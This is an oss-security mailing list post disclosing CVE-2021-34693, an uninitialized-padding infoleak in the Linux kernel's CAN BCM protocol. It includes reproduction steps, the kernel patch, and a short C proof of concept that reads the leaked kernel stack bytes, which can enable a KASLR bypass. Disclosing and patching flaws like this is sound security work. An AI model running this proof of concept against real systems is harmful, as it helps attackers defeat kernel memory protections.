[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    [oss-security] CVE-2021-34693: Infoleak in CAN BCM protocol in Linux kernel
From:       Norbert Slusarek <nslusarek () gmx ! net>
Date:       2021-06-15 20:33:18
Message-ID: trinity-755bb2d7-d377-4996-952b-6a5cebfff497-1623789198841 () 3c-app-gmx-bap35
[Download RAW message or body]

Hello,

this is an announcement for recently reported infoleaks in the CAN BCM
networking protocol in the Linux kernel.

The vulnerability has been assigned CVE-2021-34693 and was found in kernels
ranging from 2.6.25-rc1 to 5.12.10.

The infoleak can be found in struct bcm_msg_head, which is a structure used to
describe CAN BCM messages. Due to an automatically introduced padding,
the structure contains a 4-byte hole which is never initialized. The 4-byte hole
will contain data from the kernel stack as the structure is allocated on the
stack. Depending on the architecture, the leak happens at different places
within the structure.

On 64-bit systems,
the 4-byte hole can be found between struct members count and ival1.
In this case, kernel addresses can be partially revealed.

On 32-bit systems,
the 4-byte hole can be found between struct members nframes and frames[0].
In this case, kernel addresses can be fully revealed, resulting in a feasible
KASLR bypass.

The leak can be reached by an unprivileged user by
reproducing the following steps:

- open and connect a CAN BCM socket
- sendmsg() with RX_SETUP on socket to setup CAN BCM message receiver
- message will be received by the message receiver, packed with struct
  bcm_msg_head and queued for reception
- recvmsg() to receive the message, finally leaking the uninitialized bytes to
  userspace

The patch can be found in the link below or in the attachments.
https://lore.kernel.org/netdev/trinity-87eaea25-2a7d-4aa9-92a5-269b822e5d95-1623609211076@3c-app-gmx-bs04/T/#me01c68ad3b6784f533f1b1509c95943bb5911457


A short PoC can be found in the link below or in the attachments.
https://github.com/nrb547/kernel-exploitation/tree/main/cve-2021-34693

Credits go out to Norbert Slusarek and Patrick Menschel.


["0001-fix-infoleak.patch" (text/x-patch)]

From: Norbert Slusarek <nslusarek@gmx.net>
Date: Sat, 12 Jun 2021 22:18:54 +0200
Subject: [PATCH] can: bcm: fix infoleak in struct bcm_msg_head

On 64-bit systems, struct bcm_msg_head has an added padding of 4 bytes between
struct members count and ival1.
On 32-bit systems, struct bcm_msg_head has an added padding of 4 bytes between
struct members nframes and frames[0].

Even though all struct members are initialized, the 4-byte hole will contain
data from the kernel stack. This patch zeroes out struct bcm_msg_head before
usage, preventing infoleaks to userspace.

Fixes: ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol")
Signed-off-by: Norbert Slusarek <nslusarek@gmx.net>
Acked-by: Oliver Hartkopp <socketcan@hartkopp.net>

---
 net/can/bcm.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/net/can/bcm.c b/net/can/bcm.c
index 909b9e684e04..b03062f84fe7 100644
--- a/net/can/bcm.c
+++ b/net/can/bcm.c
@@ -402,6 +402,7 @@ static enum hrtimer_restart bcm_tx_timeout_handler(struct hrtimer *hrtimer)
 		if (!op->count && (op->flags & TX_COUNTEVT)) {

 			/* create notification to user */
+			memset(&msg_head, 0, sizeof(msg_head));
 			msg_head.opcode  = TX_EXPIRED;
 			msg_head.flags   = op->flags;
 			msg_head.count   = op->count;
@@ -439,6 +440,7 @@ static void bcm_rx_changed(struct bcm_op *op, struct canfd_frame *data)
 	/* this element is not throttled anymore */
 	data->flags &= (BCM_CAN_FLAGS_MASK|RX_RECV);

+	memset(&head, 0, sizeof(head));
 	head.opcode  = RX_CHANGED;
 	head.flags   = op->flags;
 	head.count   = op->count;
@@ -560,6 +562,7 @@ static enum hrtimer_restart bcm_rx_timeout_handler(struct hrtimer *hrtimer)
 	}

 	/* create notification to user */
+	memset(&msg_head, 0, sizeof(msg_head));
 	msg_head.opcode  = RX_TIMEOUT;
 	msg_head.flags   = op->flags;
 	msg_head.count   = op->count;
--
2.30.2



#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/can.h>
#include <linux/can/bcm.h>

void
rxsetup_sock(int sock)
{
	struct sockaddr_can sa;
	struct {
		struct bcm_msg_head b;
		struct canfd_frame f;
	} msg;

	memset(&msg, 0, sizeof(msg));

	sa.can_family = AF_CAN;
	sa.can_ifindex = 0;
	sa.can_addr.tp.rx_id = 0;
	sa.can_addr.tp.tx_id = 0;

        msg.b.opcode = RX_SETUP;
        msg.b.flags = CAN_FD_FRAME | SETTIMER | STARTTIMER;
        msg.b.count = 0;
        msg.b.ival1.tv_sec = msg.b.ival2.tv_sec = 0;
        msg.b.ival1.tv_usec = msg.b.ival2.tv_usec = 1;
        msg.b.can_id = 0;
        msg.b.nframes = 1;

	sendto(sock, &msg, sizeof(msg), 0, (struct sockaddr *)&sa,
			sizeof(sa));
}

int
main(void)
{
	int i;
	int sock;
	struct sockaddr_can sa;
	struct {
		struct bcm_msg_head b;
		struct canfd_frame f;
	} msg;
	char buf[sizeof(msg)];

	sock = socket(AF_CAN, SOCK_DGRAM, CAN_BCM);

	sa.can_family = AF_CAN;
	sa.can_ifindex = 0;
	sa.can_addr.tp.rx_id = 0;
	sa.can_addr.tp.tx_id = 0;

	connect(sock, (struct sockaddr *)&sa, sizeof(sa));

	rxsetup_sock(sock);

	memset(&sa, 0, sizeof(sa));
	sa.can_family = AF_CAN;
	sa.can_ifindex = 0;
	socklen_t len = 0;

	memset(&msg, 0, sizeof(msg));

	recvfrom(sock, &msg, sizeof(msg), 0,
			(struct sockaddr *)&sa, &len);

	memcpy(buf, &msg, sizeof(buf));

	for (i = 0; i < sizeof(buf); i++)
		printf("%x ", (unsigned char)buf[i]);
	printf("\n");

	return 0;
}


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic